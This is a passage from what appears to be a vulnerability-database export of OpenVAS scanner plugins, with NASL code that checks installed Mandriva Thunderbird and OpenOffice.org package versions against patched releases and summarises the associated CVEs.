rpm:\"mozilla-thunderbird-enigmail-ja~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_AR\", rpm:\"mozilla-thunderbird-es_AR~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_ES\", rpm:\"mozilla-thunderbird-es_ES~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et\", rpm:\"mozilla-thunderbird-et~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et_EE\", rpm:\"mozilla-thunderbird-et_EE~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-eu\", rpm:\"mozilla-thunderbird-eu~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fi\", rpm:\"mozilla-thunderbird-fi~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fr\", rpm:\"mozilla-thunderbird-fr~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fy\", rpm:\"mozilla-thunderbird-fy~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ga\", rpm:\"mozilla-thunderbird-ga~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gd\", rpm:\"mozilla-thunderbird-gd~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gl\", rpm:\"mozilla-thunderbird-gl~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-he\", rpm:\"mozilla-thunderbird-he~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-hu\", rpm:\"mozilla-thunderbird-hu~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-id\", rpm:\"mozilla-thunderbird-id~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-is\", rpm:\"mozilla-thunderbird-is~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-it\", rpm:\"mozilla-thunderbird-it~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ja\", rpm:\"mozilla-thunderbird-ja~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ka\", rpm:\"mozilla-thunderbird-ka~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ko\", rpm:\"mozilla-thunderbird-ko~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lt\", rpm:\"mozilla-thunderbird-lt~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nb_NO\", rpm:\"mozilla-thunderbird-nb_NO~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nl\", rpm:\"mozilla-thunderbird-nl~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nn_NO\", rpm:\"mozilla-thunderbird-nn_NO~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pa_IN\", rpm:\"mozilla-thunderbird-pa_IN~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pl\", rpm:\"mozilla-thunderbird-pl~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_BR\", rpm:\"mozilla-thunderbird-pt_BR~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_PT\", rpm:\"mozilla-thunderbird-pt_PT~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ro\", rpm:\"mozilla-thunderbird-ro~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ru\", rpm:\"mozilla-thunderbird-ru~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-si\", rpm:\"mozilla-thunderbird-si~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sk\", rpm:\"mozilla-thunderbird-sk~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sl\", rpm:\"mozilla-thunderbird-sl~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sq\", rpm:\"mozilla-thunderbird-sq~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sr\", rpm:\"mozilla-thunderbird-sr~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sv_SE\", rpm:\"mozilla-thunderbird-sv_SE~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-tr\", rpm:\"mozilla-thunderbird-tr~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-uk\", rpm:\"mozilla-thunderbird-uk~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-vi\", rpm:\"mozilla-thunderbird-vi~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_CN\", rpm:\"mozilla-thunderbird-zh_CN~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_TW\", rpm:\"mozilla-thunderbird-zh_TW~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-l10n\", rpm:\"mozilla-thunderbird-l10n~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-12-21T11:32:29", "bulletinFamily": "scanner", "description": "Check for the Version of openoffice.org", "modified": "2017-12-20T00:00:00", "published": "2010-11-16T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=831228", "id": "OPENVAS:831228", "title": "Mandriva Update for openoffice.org MDVSA-2010:221 (openoffice.org)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Mandriva Update for openoffice.org MDVSA-2010:221 (openoffice.org)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2010 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Multiple vulnerabilities was discovered and corrected in the\n OpenOffice.org:\n\n Integer overflow allows remote attackers to execute arbitrary code\n via a crafted XPM file that triggers a heap-based buffer overflow\n (CVE-2009-2949).\n \n Heap-based buffer overflow allows remote attackers to cause a denial\n of service (application crash) or possibly execute arbitrary code\n via a crafted GIF file, related to LZW decompression (CVE-2009-2950).\n \n Integer underflow allows remote attackers to cause a denial of\n service (application crash) or possibly execute arbitrary code via\n a crafted sprmTDefTable table property modifier in a Word document\n (CVE-2009-3301).\n \n boundary error flaw allows remote attackers to cause a denial of\n service (application crash) or possibly execute arbitrary code via\n a crafted sprmTSetBrc table property modifier in a Word document\n (CVE-2009-3302).\n \n Lack of properly enforcing Visual Basic for Applications (VBA) macro\n security settings, which allows remote attackers to run arbitrary\n macros via a crafted document (CVE-2010-0136).\n \n User-assisted remote attackers are able to bypass Python macro\n security restrictions and execute arbitrary Python code via a crafted\n OpenDocument Text (ODT) file that triggers code execution when the\n macro directory structure is previewed (CVE-2010-0395).\n \n Impress module does not properly handle integer values associated\n with dictionary property items, which allows remote attackers to\n cause a denial of service (application crash) or possibly execute\n arbitrary code via a crafted PowerPoint document that triggers a\n heap-based buffer overflow, related to an integer truncation error\n (CVE-2010-2935).\n \n Integer overflow in the Impress allows remote attackers to cause a\n denial of service (application crash) or possibly execute arbitrary\n code via crafted polygons in a PowerPoint document that triggers a\n heap-based buffer overflow (CVE-2010-2936).\n \n Packages for 2009.0 are provided as of the Extended Maintenance\n Program. Please visit this link to learn more:\n http://store.mandriva.com/product_info.php?cPath=149&amp;products_id=490\n \n This update provides OpenOffice.org packages have been patched to\n correct these issues and additional dependent packages.\";\ntag_solution = \"Please Install the Updated Packages.\";\n\ntag_affected = \"openoffice.org on Mandriva Linux 2009.0,\n Mandriva Linux 2009.0/X86_64,\n Mandriva Linux 2010.0,\n Mandriva Linux 2010.0/X86_64,\n Mandriva Linux 2010.1,\n Mandriva Linux 2010.1/X86_64,\n Mandriva Enterprise Server 5,\n Mandriva Enterprise Server 5/X86_64\";\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.mandriva.com/security-announce/2010-11/msg00006.php\");\n script_id(831228);\n script_version(\"$Revision: 8186 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-12-20 07:30:34 +0100 (Wed, 20 Dec 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-11-16 14:49:48 +0100 (Tue, 16 Nov 2010)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_xref(name: \"MDVSA\", value: \"2010:221\");\n script_cve_id(\"CVE-2009-2949\", \"CVE-2009-2950\", \"CVE-2009-3301\", \"CVE-2009-3302\", \"CVE-2010-0136\", \"CVE-2010-0395\", \"CVE-2010-2935\", \"CVE-2010-2936\");\n script_name(\"Mandriva Update for openoffice.org MDVSA-2010:221 (openoffice.org)\");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of openoffice.org\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2010 Greenbone Networks GmbH\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/release\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"MNDK_mes5\")\n{\n\n if ((res = isrpmvuln(pkg:\"openoffice.org\", rpm:\"openoffice.org~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-base\", rpm:\"openoffice.org-base~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-calc\", rpm:\"openoffice.org-calc~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-common\", rpm:\"openoffice.org-common~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-core\", rpm:\"openoffice.org-core~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel\", rpm:\"openoffice.org-devel~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel-doc\", rpm:\"openoffice.org-devel-doc~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-draw\", rpm:\"openoffice.org-draw~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-filter-binfilter\", rpm:\"openoffice.org-filter-binfilter~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-gnome\", rpm:\"openoffice.org-gnome~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-af\", rpm:\"openoffice.org-help-af~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ar\", rpm:\"openoffice.org-help-ar~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bg\", rpm:\"openoffice.org-help-bg~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-br\", rpm:\"openoffice.org-help-br~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bs\", rpm:\"openoffice.org-help-bs~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ca\", rpm:\"openoffice.org-help-ca~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cs\", rpm:\"openoffice.org-help-cs~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cy\", rpm:\"openoffice.org-help-cy~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-da\", rpm:\"openoffice.org-help-da~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-de\", rpm:\"openoffice.org-help-de~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-el\", rpm:\"openoffice.org-help-el~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_GB\", rpm:\"openoffice.org-help-en_GB~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_US\", rpm:\"openoffice.org-help-en_US~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-es\", rpm:\"openoffice.org-help-es~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-et\", rpm:\"openoffice.org-help-et~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-eu\", rpm:\"openoffice.org-help-eu~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fi\", rpm:\"openoffice.org-help-fi~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fr\", rpm:\"openoffice.org-help-fr~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-he\", rpm:\"openoffice.org-help-he~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hi\", rpm:\"openoffice.org-help-hi~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hu\", rpm:\"openoffice.org-help-hu~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-it\", rpm:\"openoffice.org-help-it~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ja\", rpm:\"openoffice.org-help-ja~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ko\", rpm:\"openoffice.org-help-ko~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-mk\", rpm:\"openoffice.org-help-mk~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nb\", rpm:\"openoffice.org-help-nb~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nl\", rpm:\"openoffice.org-help-nl~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nn\", rpm:\"openoffice.org-help-nn~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pl\", rpm:\"openoffice.org-help-pl~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt\", rpm:\"openoffice.org-help-pt~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt_BR\", rpm:\"openoffice.org-help-pt_BR~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ru\", rpm:\"openoffice.org-help-ru~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sk\", rpm:\"openoffice.org-help-sk~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sl\", rpm:\"openoffice.org-help-sl~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sv\", rpm:\"openoffice.org-help-sv~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ta\", rpm:\"openoffice.org-help-ta~3.1.1~0.6mdvmes5.1\", 